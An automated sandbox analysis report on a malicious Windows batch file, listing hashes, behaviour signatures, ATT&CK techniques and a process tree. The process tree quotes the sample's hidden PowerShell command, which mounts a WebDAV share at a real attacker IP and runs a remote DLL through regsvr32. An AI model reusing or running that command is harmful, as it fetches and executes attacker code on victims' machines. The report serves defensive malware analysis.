c751236e177cfa22f7cced95254cd9ecb9580d5773d9facc6780bbee89e024b4

Analysis

max time kernel
101s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 18:45 UTC

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General

Target

250332464164244314.bat
Size

10KB
MD5

ba3c099309a5f7264ebd588f9066af05
SHA1

2abdb384561f35f695454487ef85a9dd8569a726
SHA256

c751236e177cfa22f7cced95254cd9ecb9580d5773d9facc6780bbee89e024b4
SHA512

47a68c6e66fc4ada00a274d41e3cf2e2361b33dfb48c1be77c3167e422dc5d4f5a24bc0796f94a7e8537b9700cd9e3dfd404091a418331501d8fc84b5971d3a2
SSDEEP

96:dJ4FTaxO3/DoHcHt5z24panZMwECVSmEpCqLV2VBOZLYRRcgGxe682oYNTpeaQ6S:ziTrX7p5ISrcVBOZiRcuJdKYliu2Mzn7

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2792	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2792	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2836	wordpad.exe
2836	wordpad.exe
2836	wordpad.exe
2836	wordpad.exe
2836	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2432 wrote to memory of 2836	2432	cmd.exe	30
PID 2432 wrote to memory of 2836	2432	cmd.exe	30
PID 2432 wrote to memory of 2836	2432	cmd.exe	30
PID 2432 wrote to memory of 2792	2432	cmd.exe	31
PID 2432 wrote to memory of 2792	2432	cmd.exe	31
PID 2432 wrote to memory of 2792	2432	cmd.exe	31
PID 2792 wrote to memory of 2900	2792	powershell.exe	33
PID 2792 wrote to memory of 2900	2792	powershell.exe	33
PID 2792 wrote to memory of 2900	2792	powershell.exe	33
PID 2792 wrote to memory of 1240	2792	powershell.exe	34
PID 2792 wrote to memory of 1240	2792	powershell.exe	34
PID 2792 wrote to memory of 1240	2792	powershell.exe	34
PID 2792 wrote to memory of 1240	2792	powershell.exe	34
PID 2792 wrote to memory of 1240	2792	powershell.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\250332464164244314.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2432
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\26652113928805.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2900
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\26652113928805.dll
    3⤵
    PID:1240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2792-22-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/2792-23-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download